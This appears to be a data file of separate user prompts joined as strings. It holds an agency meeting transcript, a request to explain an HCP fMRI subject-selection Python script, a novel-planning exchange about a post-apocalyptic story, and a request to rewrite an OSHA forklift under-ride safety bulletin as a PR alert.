(07:11)\nI mean, I hate that or not. Thumbnails. \nMiles Morton (07:13)\nWe can't use thumbnails. So don't you slinks links to articles? Yeah. \nMiles Morton (07:19)\nStupid. Okay. \nKevin Fitzpatrick (07:23)\nOh, wait a second. Was that this may not be the same thing. I think that's pictures from home we're talking about. \nMiles Morton (07:28)\nOh, okay. I'm getting confused. \nKevin Fitzpatrick (07:30)\nYeah, I'm getting them confused, too. I just look over the spec again. But it is pictures from home. That may be that because that's Jeffrey Richards, and he's like, \nMiles Morton (07:37)\nreally old school. Okay. Like old school. \nKevin Fitzpatrick (07:41)\nHe once called the Computer the Google machine. He's very, very proud of his old so. And he's also old. \nDonald Deane (07:57)\nTo me the first time my mom used a computer, she picked up the mouse, and she tried speaking into, Is that the most boomeranish thing you've ever heard in your entire life? \nKevin Fitzpatrick (08:04)\nHello. She's saying it to the mouse. \nJeremy Strom (08:06)\nNothing's. Kind of futuristic. \nDonald Deane (08:09)\nIt is right. Righted, \nKevin Fitzpatrick (08:13)\none. \nCyrus Collier (08:14)\nShe probably got it from Star Trek Four. That's a Scottie. \nDonald Deane (08:17)\nThat's what Scottie doesn't. Surgery, right. Right. \nKevin Fitzpatrick (08:20)\nMy flying cars. Next. \nCyrus Collier (08:23)\nHe sits down to like, an old Mac Plus or something. And this. Oh, that's right. That's right. They start this talking to her like a computer, \nDonald Deane (08:30)\ndo they. \nCyrus Collier (08:32)\nGuys like, you know? And then, like, I think I think McCoy, hands in the mouse. \nDonald Deane (08:37)\nYou hold it up. Hello, computer. You're right. Wow. \nCyrus Collier (08:40)\nMemory unlocked. And then the girl. And then the guy, like, the engineer guy in the warehouse, is like, just use the keyboard. And then he says, the keyboard, how Queen. \nKevin Fitzpatrick (08:48)\nIt starts like typing a mile a minute. \nCyrus Collier (08:52)\nOh, my God. \nMiles Morton (08:54)\nWas Dawn's Mom just making a Star Trek reference? \nDonald Deane (08:56)\nNo, she wasn't. That's. \nMiles Morton (08:59)\nAre you sure? Maybe you just. No, I'm not now. \nKevin Fitzpatrick (09:02)\nI'm not sure. \nDonald Deane (09:06)\nMy mom, my mom is pretty bad. \nDonald Deane (09:08)\nI swear she wasn't my mom's, not that hip. \nKevin Fitzpatrick (09:11)\nShe really isn't. \nJeremy Strom (09:15)\nSo, so, Vince, as far as a first pass, if you're just thinking in terms of. Back end and CMS. What do you what are you thinking? I was thinking for for that part of it maybe like 6 hours, tops. \nVincent Ragosta (09:38)\nBut that's excluding any. The 16 hours. It all makes sense. I have to look at the wireframe. \nJeremy Strom (09:47)\nIt's kind of tough. Yeah, they're here. I'm showing them on my screen. Yeah. \nKevin Fitzpatrick (09:50)\nVincent's on his phone, though. So. \nVincent Ragosta (09:52)\nYeah, I don't see it being that that big. \nJeremy Strom (09:57)\nProblem. Will just stay in touch on it as it goes and keep an eye on your hours. \nKevin Fitzpatrick (10:07)\nYeah. Because we wanted to do a whole design phase. We normally do. And they were just like we just didn't. They didn't have the money to do that. Now. I said, okay, well, we could do, like the Express Lane. \nKevin Fitzpatrick (10:18)\nYou know, and then that's what they approved. And we felt okay about doing the Express Lane because it was already an established site, \nDonald Deane (10:27)\nespecially. And I love it. \nJeremy Strom (10:28)\nYeah. They're trying to squeeze out a 20K for ten. \nKevin Fitzpatrick (10:31)\nYeah. Well, a lot of clients do that. They're crazy. \nKevin Fitzpatrick (10:34)\nNot only that the account team has gone, you know what? I kind of like it because I don't want to be working on a site for so long. \nJeremy Strom (10:42)\nI just want them done. \nKevin Fitzpatrick (10:44)\nWell, we'll knock it out and see how it goes. I mean, the only downside to something like this is if the site didn't have, like, an established look. But you remember when we first started this whole. \nKevin Fitzpatrick (10:54)\nOrchestrator thing like the idea was to build a under 20K site. Any idea that was Miles would just do a home page and kind of work with you guys on the rest of it. Because all the components kind of where the same. \nCyrus Collier (11:14)\nThing is. On our data show that like our analytics show that Besides the homepage and the tickets page like not a lot of people you need to go to the other pages. A third of the budget. Building out this awesome Catholic Creative page. \nDonald Deane (11:30)\nNobody ever sees. Media. \nKevin Fitzpatrick (11:33)\nYeah. And I think Pippa also said Miles, that we could start moving on WWI speaking of other pages like FAQ and. Home page. I mean that again would be. In the express Lane because they don't have a lot of money. \nKevin Fitzpatrick (11:49)\nSo I would almost just go in Dev and do that, like, do something. I mean, we know what they look like, right. But maybe, you know, you could probably just do a design and just match the styles up or whatever, because I figure this client, despite it being in the Express laying, he doesn't know it's in the Express Lane. He thinks he's like pouring out his life's fortune for this website at 1210. \nMiles Morton (12:11)\n£0. \nMiles Morton (12:12)\nWell, we're not. We're not gonna work on we will rock you today, \nKevin Fitzpatrick (12:17)\nright? No. \nMiles Morton (12:17)\nNow we could talk about tomorrow and the next day, but, yeah, \nKevin Fitzpatrick (12:20)\nI think maybe let's just let's just keep focusing. \nMiles Morton (12:23)\nHow the schedule shake out and who has time? Because. \nMiles Morton (12:26)\nI. \nKevin Fitzpatrick (12:28)\nRight now, I'm sort of booked up, but then I've been really slow, so, yeah, no, I'm guaranteeing you by Wednesday will be slow again. \nMiles Morton (12:36)\nYeah. So I don't want to. \nKevin Fitzpatrick (12:38)\nOkay, let's just revisit it. All right. Cool. Kept. \nDonald Deane (12:41)\nShould we mention Friday at all? Since we have a yeah. \nKevin Fitzpatrick (12:45)\nYeah. We kind of have a dilemma because Don. \nJeremy Strom (12:48)\nIs out and I'm out on Friday. \nKevin Fitzpatrick (12:53)\nWe don't know yet but. We've asked. Or I've asked. So. In that case. Just trying to think. Like who covers what? Like when something comes in. I think I just wouldn't make it clear to the account team to go directly to whoever is working on it. Like development wise. Her design was. \nDonald Deane (13:17)\nSo for stuff that might drag, like pictures from Home without you, we were Rocky. While that sort of stuff that we expect end of week. \nMiles Morton (13:30)\nIs the answer. But would it be good to bring in Dan in just a couple of meetings. \nMiles Morton (13:34)\nTowards the end of the week if him billion. \nKevin Fitzpatrick (13:38)\nProbably not. \nDonald Deane (13:39)\nNo, no. Okay. I've made that suggestion. It was told. No. \nMiles Morton (13:45)\nJust checking. \nDonald Deane (13:47)\nSo we're kind of limited in terms of who's been approved to actually support for Kevin and I when we're out, but we'll see what Alicia says. \nKevin Fitzpatrick (13:54)\nWe put the question, yeah, because there are. \nDonald Deane (13:55)\nThere's always going to be instances done when we're both out. Oh, yeah, I know, I know. It just happens to be, you know? \nKevin Fitzpatrick (14:01)\nYep, Yep. \nJeremy Strom (14:03)\nHow about bill. \nMiles Morton (14:07)\nYeah, Bill would be the most obvious alternative, \nKevin Fitzpatrick (14:10)\nbut. I don't think well, you are actually up to speed on Advantage and all that stuff. \nBill Rousseau (14:17)\nBy choice. I apologize. It was multitasking in the background. \nKevin Fitzpatrick (14:20)\nWhat do you need help with? No, I'm just saying. Me and Donna both gonna be out on Friday. \nKevin Fitzpatrick (14:26)\nAnd. You know, people may want to know, like who's gonna cover projects if we're not both here. Yeah, just give me a heads up and happy to help, okay. All right. Well, we could say that to Don if you know, but it it will be maybe once or twice a year that's something like that would happen. \nDonald Deane (14:44)\nYeah. I don't. I mean, whether nothing like, \nKevin Fitzpatrick (14:47)\nyou know, a week long or something, \nDonald Deane (14:49)\nyou know. So no. And we've had we've had periods where you and I are covering for each other. And we don't even inform the larger team, and everything is fine. \nKevin Fitzpatrick (14:56)\nSo I don't that's what they don't want. \nDonald Deane (14:59)\nI know I don't want to, but I don't want to do this in a silos. So I think we you were right in reaching out to Alicia with this KEF. \nKevin Fitzpatrick (15:05)\nOkay. Formalized with her or whatever, however, she wants us to handle. \nKevin Fitzpatrick (15:09)\nOkay. Holly Road. US too. \nDonald Deane (15:15)\nIt's like everybody's just so alarmed. I know. I saw. \nKevin Fitzpatrick (15:19)\nIt's not even that busy. Jesus, \nDonald Deane (15:22)\nwhat are we gonna do on Friday? We're both out. Holy crap. \nKevin Fitzpatrick (15:25)\nNo, I can work. I mean, \nDonald Deane (15:27)\nI could. I just prefer not to. I'd rather you didn't know. \nKevin Fitzpatrick (15:30)\nI would rather I did any. Let's see what Alicia comes. You need to be there for the wife. \nKevin Fitzpatrick (15:35)\nYeah. All right. And both of these things are, you know, we're out because. Not for a vacay day. \nDonald Deane (15:43)\nVacay days, you know so. Medical stuff. \nKevin Fitzpatrick (15:48)\nOkay. Do you want to talk now, Kev? \nDonald Deane (15:50)\nOr do we have. Yeah, we could talk. Yeah. Okay. \nDonald Deane (15:53)\nthanks to everyone else i guess" +"Explain this block of code:\n# coding: utf-8\nimport sys\nsys.path.insert(0, '/data/pgaldi/HCP\\_MRI-behavior')\n# # Load libraries & helper functions\nfrom HCP\\_helpers import \\*\n\n# # Set parameters\n\n# config is a global variable used by several functions\n# Where does the data live?\nconfig.DATADIR = '/data2/HCP/MRI'\nconfig.sourceDir = '/data/pgaldi/HCP\\_MRI-behavior' \n# where all output of processing will be, in BIDS like format\nconfig.outDir = op.join(config.DATADIR,'Results', 'rsDenoise')\n#config.outDir = op.join('rsDenoise')\n\n# Which resting-state denoising pipeline should be used?\nconfig.pipelineName = 'NSF2'\nconfig.Operations = config.operationDict[config.pipelineName]\nconfig.interpolation = 'linear' # or 'linear' or 'astropy'\n\n# Other options\nconfig.isCifti = True\nconfig.queue = True\nif config.isCifti:\n config.sgeopts = '-l h\\_vmem=12G -q long.q'\nelse:\n config.sgeopts = '-l h\\_vmem=25G -q long.q'\nconfig.overwrite = False\nconfig.movementRelativeRMSFile = 'Movement\\_RelativeRMS.txt'\nconfig.movementRegressorsFile = 'Movement\\_Regressors\\_dt.txt'\nconfig.behavFile = pd.read\\_csv('/data/pgaldi/data/unrestricted\\_paolagaldi\\_11\\_2\\_2017\\_8\\_3\\_2.csv')\nconfig.RbehavFile = pd.read\\_csv('/data/pgaldi/data/RESTRICTED\\_paolagaldi\\_8\\_10\\_2017\\_16\\_31\\_0.csv')\n\n# parcellation for FC matrix\n#config.nParcels = 445 #Schaefer\\_Aseg\\_SUIT\nconfig.nParcels = 400 #Schaefer\\_Aseg\\_SUIT only cortex\n#config.nParcels = 268 #Shen\n#config.nParcels = 360 #Glasser\nif config.isCifti:\n config.parcellationName = 'Schaefer\\_Aseg\\_SUIT\\_cortex'\n config.parcellationFile = '/data/pgaldi/Schaefer\\_Aseg\\_SUIT/Parcels.dlabel.nii'\n #config.parcellationName = 'Schaefer600\\_Aseg\\_SUIT\\_surf'\n #config.parcellationFile = '/data/pgaldi/Schaefer600\\_Aseg\\_Suit/Parcels.dlabel.nii'\n #config.parcellationName = 'Glasser'\n #config.parcellationFile = '/data/pgaldi/Glasser/Parcels.dlabel.nii'\nelse:\n config.parcellationName = 'Schaefer\\_Aseg\\_SUIT\\_vol'\n config.parcellationFile = '/data/pgaldi/Schaefer\\_Aseg\\_SUIT/schaefer\\_aseg\\_suit.nii.gz'\n #config.parcellationName = 'Shen'\n #config.parcellationFile = '/data/jdubois/data/parcellations/shenetal\\_neuroimage2013\\_new/shen\\_2mm\\_268\\_parcellation.nii.gz'\n# where all the time series used to compute FC and final FC matrices will be stored\nif config.isCifti:\n config.FCDir = op.join(config.DATADIR, 'Results', 'rsDenoise', 'denoise\\_'+config.pipelineName, config.parcellationName+'\\_FC')\nelse:\n config.FCDir = op.join(config.DATADIR, 'Results', 'rsDenoise', 'denoise\\_'+config.pipelineName, config.parcellationName+'\\_FC')\n#config.FCDir = 'FC\\_Glasser'\n# if working with volumetric data: should the parcels be restricted to the gray matter mask?\nif not config.isCifti:\n config.maskParcelswithGM = False\n if config.maskParcelswithGM:\n config.parcellationName = config.parcellationName + '\\_GM'\n\n# Define input\nfmriRuns = ['rfMRI\\_REST1\\_LR','rfMRI\\_REST1\\_RL','rfMRI\\_REST2\\_LR','rfMRI\\_REST2\\_RL']\n\n# # Subject selection\n# READ CSV FILES\nUdf = pd.read\\_csv('/data/pgaldi/data/unrestricted\\_paolagaldi\\_11\\_2\\_2017\\_8\\_3\\_2.csv')\nRdf = pd.read\\_csv('/data/pgaldi/data/RESTRICTED\\_paolagaldi\\_8\\_10\\_2017\\_16\\_31\\_0.csv')\n# merge unrestricted and restricted\ndf = pd.merge(Udf,Rdf,how='inner')\n# keep only variables of interest\ndf = df[['Subject','Release','Gender','Age\\_in\\_Yrs','fMRI\\_3T\\_ReconVrs',\n 'FS\\_BrainSeg\\_Vol','MMSE\\_Score',\n 'Family\\_ID','Father\\_ID','Mother\\_ID','Race','Ethnicity','Handedness', \n '3T\\_RS-fMRI\\_PctCompl','PMAT\\_Compl','NEO-FFI\\_Compl','MMSE\\_Compl',\n 'Non-TB\\_Compl','VisProc\\_Compl','DelDisc\\_Compl','SCPT\\_Compl','IWRD\\_Compl','VSPLOT\\_Compl', \n 'CardSort\\_Unadj','Flanker\\_Unadj','ListSort\\_Unadj','PicSeq\\_Unadj','PicVocab\\_Unadj','ProcSpeed\\_Unadj','ReadEng\\_Unadj',\n 'IWRD\\_TOT','PMAT24\\_A\\_CR','VSPLOT\\_TC'\n ]]\n# replace labeled columns with dummies\ndf['Gender'].replace(['F','M'],[1,2],inplace=True)\ndf['fMRI\\_3T\\_ReconVrs'].replace(['r177','r177 r227','r227'],[1,2,3],inplace=True)\n\nkeepSub = ((df['Release'] == 'Q1') | (df['Release'] == 'Q2') | (df['Release'] == 'Q3') \n | (df['Release'] == 'S500') | (df['Release'] == 'S900') | (df['Release'] == 'S1200') \n | (df['Release'] == 'MEG2')) & (df['3T\\_RS-fMRI\\_PctCompl']==100)\n# select subjects that have completed all neuropsych\nkeepSub = keepSub & (\n (df['PMAT\\_Compl']==True) &\n (df['NEO-FFI\\_Compl']==True) &\n (df['MMSE\\_Compl']==True) &\n (df['Non-TB\\_Compl']==True) &\n (df['VisProc\\_Compl']==True) &\n (df['SCPT\\_Compl']==True) &\n (df['IWRD\\_Compl']==True) &\n (df['VSPLOT\\_Compl']==True)\n )\n\n# FURTHER EXCLUSIONARY CRITERIA: MISSING VALUES\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['CardSort\\_Unadj'])))\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['VSPLOT\\_TC'])))\nkeepSub = np.logical\\_and(keepSub,np.logical\\_not(np.isnan(df['PicSeq\\_Unadj'])))\n\n# COGNITIVE COMPROMISE --> MMSE <24 excluded\nkeepSub = np.array(np.logical\\_and(keepSub,df['MMSE\\_Score']>=24))\n# PRUNE df \ndf = df.loc[keepSub,:]\n# reindex\ndf.index = range(df.shape[0])\n\n# FURTHER PRUNE SUBJECTS FOR MRI ANALYSIS\n# Exclusion of high-motion subjects\n# exclude subjects with >0.20 frame-to-frame head motion estimate averged across both rest runs (arbitrary threshold as in Finn et al 2015)\nkeepSub = (df['3T\\_RS-fMRI\\_PctCompl']==100).values\nFDmean = np.zeros([len(df['Subject']), len(fmriRuns)],dtype=np.float32)\nFDsum = np.zeros([len(df['Subject']), len(fmriRuns)],dtype=np.float32)\nTR = 0.72\niSub=0\nexcluded = list()\nfor subject in df['Subject']:\n if keepSub[iSub] is False:\n iSub=iSub+1\n continue\n config.subject=str(subject)\n # mean framewise displacement\n i=0\n for config.fmriRun in fmriRuns:\n #FDmeanFile = op.join(buildpath(), 'FD\\_mean.txt')\n #FDsumFile = op.join(buildpath(), 'FD\\_sum.txt')\n FDmeanFile = op.join(buildpath(), 'FDmultiband\\_mean.txt')\n FDsumFile = op.join(buildpath(), 'FDmultiband\\_sum.txt')\n if not op.isfile(FDmeanFile) or not op.isfile(FDsumFile) or True:\n motionFile = op.join(buildpath(), config.movementRegressorsFile)\n if op.isfile(motionFile):\n n = int(np.round(2/TR))\n nyq = 0.5\\*1/TR\n low = 0.2/nyq\n high = 0.5/nyq\n I, u = signal.butter(10, [low,high], btype='bandstop')\n motpars = np.abs(np.genfromtxt(motionFile)[:,:6]) \n motpars\\_detrend = signal.detrend(motpars, axis=0)\n clean\\_motpars = signal.filtfilt(I,u,motpars\\_detrend,axis=0) \n dmotpars = np.vstack([np.zeros([n,6]),np.abs(clean\\_motpars[n:,:] - clean\\_motpars[:-n,:])])\n dmotpars[:,3:6] = np.pi\\*config.headradius\\*2\\*(dmotpars[:,3:6]/360)\n thisFD=np.mean(dmotpars,1)\n if len(np.where(thisFD>0.25)[0]) > len(thisFD)/2:\n keepSub[iSub] = False\n excluded.append(config.subject)\n break\n thisFDmean=np.mean(np.mean(dmotpars,1),0)\n thisFDsum=np.sum(np.sum(dmotpars,1),0)\n with open(FDmeanFile,'w') as tmp:\n tmp.write(str(thisFDmean))\n with open(FDsumFile,'w') as tmp:\n tmp.write(str(thisFDsum))\n else:\n break\n with open(FDmeanFile,'r') as tmp:\n FDmean[iSub,i] = float(tmp.read())\n with open(FDsumFile,'r') as tmp:\n FDsum[iSub,i] = float(tmp.read())\n i=i+1\n if np.any(FDmean[iSub,:] > 0.20):\n keepSub[iSub]=False\n excluded.append(config.subject)\n else:\n keepSub[iSub]=True\n iSub=iSub+1\nprint(np.unique(excluded).shape)\n\n# add FDsum to the dataframe\ndf['FDmean\\_REST1'] = np.mean(FDmean[:,0:2],axis=1)\ndf['FDmean\\_REST2'] = np.mean(FDmean[:,2:4],axis=1)\ndf['FDsum\\_REST1'] = np.mean(FDsum[:,0:2],axis=1)\ndf['FDsum\\_REST2'] = np.mean(FDsum[:,2:4],axis=1)\ndf = df[keepSub]\ndf.index = range(df.shape[0])\nprint('Included data for MRI analysis: {} subjects [{} F, {:0.1f}+/-{:0.1f} range {}-{} y.o.]'.format(\n len(df),np.sum(df['Gender']==1),np.mean(df['Age\\_in\\_Yrs']),np.std(df['Age\\_in\\_Yrs']),np.min(df['Age\\_in\\_Yrs']),np.max(df['Age\\_in\\_Yrs'])))\n\nsubjects = np.array([str(s) for s in df['Subject']])\ndf.to\\_csv('/data/pgaldi/data/demo\\_HCP\\_FDmultiband.csv')\nsys.exit()\n\n# ### MRI processing\n#for config.subject in ['100206', '100307']:\nfor config.subject in subjects:\n for config.fmriRun in fmriRuns:\n runPipelinePar(do\\_makeGrayPlot=True, do\\_plotFC=True, overwriteFC=False)\n\n \nif len(config.scriptlist)>0:\n # launch array job\n #prepareJobArrayFromJobList()\n fnSubmitJobArrayFromJobList()\n #config.joblist.append(JobID.split(b'.')[0])\n\n#checkProgress(pause=60,verbose=False)" +'Petar B\nYes, pilgrims from across earth do visit the Tiamat zone for pilgrimage, and there are conflicts and various events surrounding this. The pilgrims are forced to visit North America usually by ship, or come by other means from Latin America to the ex-USA, and then they either walk to the pilgrimage site, or ride on horseback, use carts etc. The entire north-American continent, all the way down to mid Mexico is a no-fly zone, because of the extended effects of the Tiamat field which cause planes to crash.\n\nNate used to be a regular boy and young man, and he has a brother called Ethan. Ethan is also somewhere on earth in a stasis chamber. Not everyone is aware of Ethan\'s existence, or believe that Ethan exists, but some are looking for Ethan as "God\'s own brother", or "The living god\'s brother", or "Wounded god\'s kin", in hope that reuniting Ethan and Nate could unlock the Tiamat field and release Nate. There\'s a group of knights who claim they are the keepers of "Ethan\'s tomb" referring to Ethan\'s stasis chamber. It is unknown if these Knights are really knights, or if there\'s any truth to their claims.\n\nThe main protagonist is Lena, a young african-american woman from New Orleans, who used to have a romantic relationship with Ethan. She was put into stasis by Ethan ( against her will ) before the event that caused the apocalypse and she awakens inside the Tiamat zone a century after she was put in stasis. She travels the zone, and the world with other characters. She reveals her daughter ( with Ethan ) remained outside stasis, so in effect, Lena\'s daughter has probably lived and died decades ago.\nThe journey of Lena and her companions can serve as the backbone of your story, providing a personal and emotional connection for the reader while exploring the complexities of this post-apocalyptic world. Here are some ideas to help you develop Lena\'s character and her journey:\n\nLena\'s awakening: Lena\'s awakening from stasis could be a disorienting and traumatic experience, as she must come to terms with the loss of her old life, the passage of time, and the drastic changes in the world around her. This could be a powerful opening for your novel, setting the tone for the challenges and hardships Lena will face throughout her journey.\n\nThe search for Ethan: Driven by her love for Ethan and her desire to understand the truth about the Tiamat field, Lena could embark on a quest to find him and uncover the mystery surrounding his stasis chamber. This journey could take her and her companions across the Tiamat zone, encountering various factions, cultures, and dangers along the way.\n\nThe legacy of her daughter: The revelation that Lena\'s daughter lived and died decades ago could add a poignant and bittersweet dimension to her journey. Lena might seek to uncover her daughter\'s fate, learning about the life she led and the impact she had on the world. This could lead Lena to discover a network of descendants, who carry on her daughter\'s legacy and provide her with allies and connections throughout her journey.\n\nConflicts and alliances: As Lena travels through the Tiamat zone and beyond, she could find herself drawn into the power struggles and conflicts between different factions, including the various religious groups, the knights claiming to guard Ethan\'s tomb, and the factions seeking to control the Tiamat entity. Lena\'s unique connection to the "Wounded God" and his brother could make her a valuable asset or a target for these groups.\n\nLena\'s personal growth: Throughout her journey, Lena will need to adapt to the new world and confront her own fears, regrets, and limitations. Her experiences and the people she encounters could shape her into a strong and resilient leader, inspiring others with her determination and hope in the face of overwhelming odds.\n\nThe ultimate resolution: Lena\'s quest to find Ethan, understand the Tiamat field, and reconcile her past could lead her to a climactic confrontation with the forces shaping the world. The outcome of this confrontation could determine the fate of humanity, the Tiamat entity, and Nate, offering a powerful and satisfying conclusion to your novel.\n\nBy focusing on Lena\'s journey and her personal connections to the central mysteries of your story, you can create a compelling narrative that draws readers into your post-apocalyptic world and keeps them engaged throughout the story.\n\n\nPetar B\n1. exactly what I planned.\n\n2. Lena\'s love for Ethan had pretty much died during the first novel, because of his transformation from a normal guy to a greedy, materialistic, selfish person. Though Lena still has feelings for Ethan, she discovers that he had essentially abducted her and put her in stasis against her will. Ethan had no knowledge that Lena and he have a daughter ( because Lena hid it from Ethan ), so Lena sees Ethan as the villain responsible for abducting her and separating her from her daughter. Lena spends a lot of time being enraged and hating Ethan, which takes a toll on her... especially as she\'s subconsciously trying to avoid admitting her own blame for not informing Ethan of the existence of his daughter.\n\n3. In the second half of this novel, Lena learns that her daughter\'s descendants might be a class of "Hybrids", a genetically engineered group of humans ( or are they fully human ) who have come to rule most of the planet. These hybrids have created dystopian societies around Eurasia, Africa, Australia and south America, which hold the last remnants of advanced technology. \n\n4. in the first quarter of the novel, Lena is allied with other women ( other Ethan\'s ex romantic partners and women he admired ) who awaken alongside Lena. Some of these women are killed off, others go their own way, but Lena\'s most closely allied to Olivia - Ethan\'s ex-love interest, a psychotic young woman who had traumatized Ethan several times with her careless, evil actions. Olivia\'s nature is thoroughly sociopathic, so Lena is in danger from this person. During the mid third of the novel, Lena meets Mr. Gray, an immortal being ( belonging to a species who is only distantly related to humans, and who probably dominated earth before humans ). Mr. Gray is weakened by the effects of the apocalypse, and he finds an ally in Lena, and helps her on her quest as a mentor ( being that he is thousands of years old, and knows everything about everything, especially how to manipulate and rule over humans ). Mr.Gray is the main villain in the first novel, but in this novel he becomes a protagonist ( though an unrealiable one, with self-serving plans always brewing inside him ). \n\n6. The ultimate resolution, I\'ll form. My idea is that Lena manages to defeat the hybrids ( somewhat ), but doesn\'t destroy them, probably due to learning the Hybrids are descendants of her daughter. While Lena is searching for Ethan and acquiring power through her journey, the Tiamat field spreads slowly, and inside the epicenter of the field, Nate and Tiamat are discussing whether Tiamat should just devour earth and everyone else. \nBased on your ideas, here\'s a suggestion on how to weave these elements together into a cohesive narrative:\n\nLena\'s journey begins with her awakening, and her initial allies are the other women who were Ethan\'s ex-partners or admirers. Their shared history with Ethan could create a tense and uneasy alliance, as they navigate the dangers of the post-apocalyptic world.\n\nAs Lena learns more about her daughter\'s descendants, the Hybrids, she becomes increasingly determined to confront them and understand their true nature. This could serve as a driving force for her journey, as well as a source of internal conflict, as she wrestles with her anger toward Ethan and her own guilt.\n\nThe introduction of Mr. Gray as a mentor and ally to Lena adds depth and complexity to the story. His vast knowledge and experience could provide Lena with valuable guidance, while his ulterior motives and manipulative nature could create tension and mistrust within their alliance. The dynamic between Lena and Mr. Gray could be a key aspect of the novel, as they navigate their shared past and uncertain future.\n\nOlivia, the sociopathic ex-love interest of Ethan, could serve as a wild card in Lena\'s journey. Her unpredictability and dangerous nature could create suspense and tension, as Lena is forced to navigate the delicate balance between keeping Olivia as an ally and protecting herself from Olivia\'s potential betrayal or violence.\n\nAs Lena and her companions travel through the Tiamat zone, they could encounter various factions and cultures shaped by the post-apocalyptic world. These encounters could provide opportunities for world-building, as well as challenges and obstacles for Lena to overcome as she seeks Ethan and the truth about the Hybrids.\n\nThe ultimate resolution of Lena\'s journey could involve a climactic confrontation with the Hybrids, in which she must decide whether to destroy them or try to forge a new future with them as her daughter\'s descendants. This decision could be complicated by her ongoing relationship with Mr. Gray, as well as her unresolved feelings toward Ethan.\n\nThe subplot of Nate and Tiamat discussing the fate of Earth could add a sense of urgency and impending doom to the story, as Lena races against time to find a solution that will save humanity. The resolution of this subplot could be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' +'act as a Public Relations executive re write this osha bulletin and make it an Alert! write approximately 1800 words include 4 key point bullet and 7 fear of loss bullets and U. S. Department of LaborOccupational Safety and Health Administration\nDirectorate of Technical Support and Emergency Management\nOffice of Science and Technology Assessment Standup Forklift Under-ride Hazards Safety and Health Information Preface\nForklift truck operators must look in the\ndirection of travel and keep the forklift under\ncontrol at all times. One of the potential\nhazards faced by standup forklift operators is\nthe crushing hazard that can arise when\ntraveling, with the forks trailing, in a\nwarehouse near a storage rack or similar\nobstruction. The risk is that a horizontal rack\nbeam (crossbar) or similar obstruction might\nenter the operator’s compartment in a situation\nreferred to as “under-ride.” This Safety and\nHealth Information Bulletin (SHIB) discusses\nways to reduce the crushing hazard to the\noperator associated with under-ride. Awareness\nof the precautions and safety measures\nhighlighted in this SHIB can help prevent\nserious injuries and fatalities related to\nwarehouse operations.Purpose\nThe purpose of this SHIB is to\nAlert standup forklift operators and\nemployers to the crushing hazard to the\noperator associated with under-ride;\nIdentify standup forklift features that\nare available on new equipment or that\ncan be installed on standup forklifts to\naddress the hazard (ANSI/ITSDF\nB56.1-2005, para. 4.5.3, 7.30, 7.36.)\nThis Safety and Health Information Bulletin\n(SHIB) is not a standard or a regulation, and it\ncreates no new legal obligations. It contains\nrecommendations as well as descriptions of\nmandatory safety and health standards. The\nrecommendations are advisory in nature,\ninformational in content, and are intended to\nassist employers in providing a safe and\nhealthful workplace. The Occupational Safety\nand Health Act requires employers to comply\nwith safety and health standards and regulations\npromulgated by OSHA or by a state with an\nOSHA-approved state Plan. In addition, the\nAct’s General Duty Clause, Section 5(a)(1),\nrequires employers to provide their employees\nwith a workplace free from recognized hazards\nlikely to cause death or serious physical harm.\nIdentify arrangements or modifications\nof storage racks that might reduce the\nrisk of under-ride;Recommend work practices that can be\nimplemented by the employer to\neliminate the under-ride hazard;\nStress the importance of training\n employees on the safe operation\n of standup forklifts; and\nEnsure that employees follow safe\noperating procedures.\nSHIB 07-27-20092 Background\nA forklift “under-ride” hazard arises when the\nforklift operator travels with the forks trailing\nand backs up toward the storage rack. If the\noperator drives the forklift too far, so that the\nforklift passes beneath the horizontal crossbar\n(i.e., the operator creates an “under-ride”), the\ncrossbar can enter the operator’s compartment\nand crush the operator inside the compartment.\nThe Occupational Safety and Health\nAdministration’s (OSHA) Integrated\nManagement Information System data for the\nperiod of 1993 through 2008 indicate that at\nleast nine employees have been killed and three\nemployees sustained severe crushing injuries\nwhen operating a standup forklift in reverse.\nThese forklifts did not have a protective rear\nguard or corner post to prevent under-ride from\noccurring.Accident Description\nThe OSHA Cleveland Area Office investigated\na fatality at a warehouse where a standup\nforklift operator was found pinned between the\nlower horizontal crossbar of a storage-rack\nshelving system and the interior of the\noperator’s compartment. The horizontal\ncrossbar of the shelving system was 55 inches\n(140 centimeters) above the floor, while the top\nsurface of the operator’s compartment was only\n49 inches (124 centimeters) above the floor.\nThis left a space of 6 inches (15 centimeters)\nbetween the crossbar and the top surface of the\noperator’s compartment. Although the forklift\nhad an overhead guard, the shelving rack was\nnot positioned at the same level as the guard to\nprevent the under-ride from occurring. When\nthe operator traveled with the forks trailing, the\nforklift passed under the crossbar, which struck\nthe operator above the waist and pinned his\ntorso against a part of the operator’s\ncompartment. The operator died of\nasphyxiation injuries.\nThis photograph depicts a forklift under a\nstorage rack after an under-ride accident.\nThe crossbar is protruding above the\noperator’s cab. Forklift manufacturers have\nvarious features available to assist in\npreventing such under-rides. \nOSHA’s Standard Requirements\nProper training is essential to the safe operation\nof powered industrial trucks. Paragraph (l) of\nOSHA’s Powered Industrial Trucks Standard,\n29 CFR 1910.178, contains training and\ncertification requirements for the use of\nforklifts that are specific to the workplace. The\nstandard requires employers to develop and\nimplement a training program for all operators\nbased on the general principles of safe truck\noperation; the types of vehicles being used in\nthe workplace, including the instructions,\nwarnings, and precautions found in the\noperator’s manual; the hazards of the\nworkplace created by the use of the vehicle;\nand the general safety requirements of the\nOSHA standard.\nAdditionally, 29 CFR 1910.178(n)(1) and\n(n)(6) require operators to keep the forklift\nunder control at all times and to look in the\ndirection of travel.\nRecommendations\nThe following recommendations will reduce\nthe risk of under-ride hazards associated with\noperating standup forklifts.\nEmployers should evaluate their worksite to\ndetermine if an under-ride hazard exists. If\nthere are rack crossbars or similar obstructions\nin the facility, the employer should take one or\nmore of the following actions:\nIf possible, make modifications to the\nshelving system.\nAdjust the shelf heights so that\nthe body of the forklift below\nthe operator’s compartment will\nstrike the rack in the event of\ncontact, preventing under-ride\nfrom occurring. Adjust the shelf heights so that\nthe forklift’s overhead guard\nwill strike the rack in the event\nof contact, preventing under-ride\nfrom occurring. Install a barrier, even with the outer\nedge of the storage rack (such as a curb\nor floor level shelf), so that the bottom\nof the forklift will strike the curb or\nshelf in the event of contact, preventing\nan under-ride from occurring.\n Purchase, where appropriate, standup\nforklifts that have corner posts,\nextended backrests, rear post guards, or\nother features to prevent an under-ride\nfrom occurring. 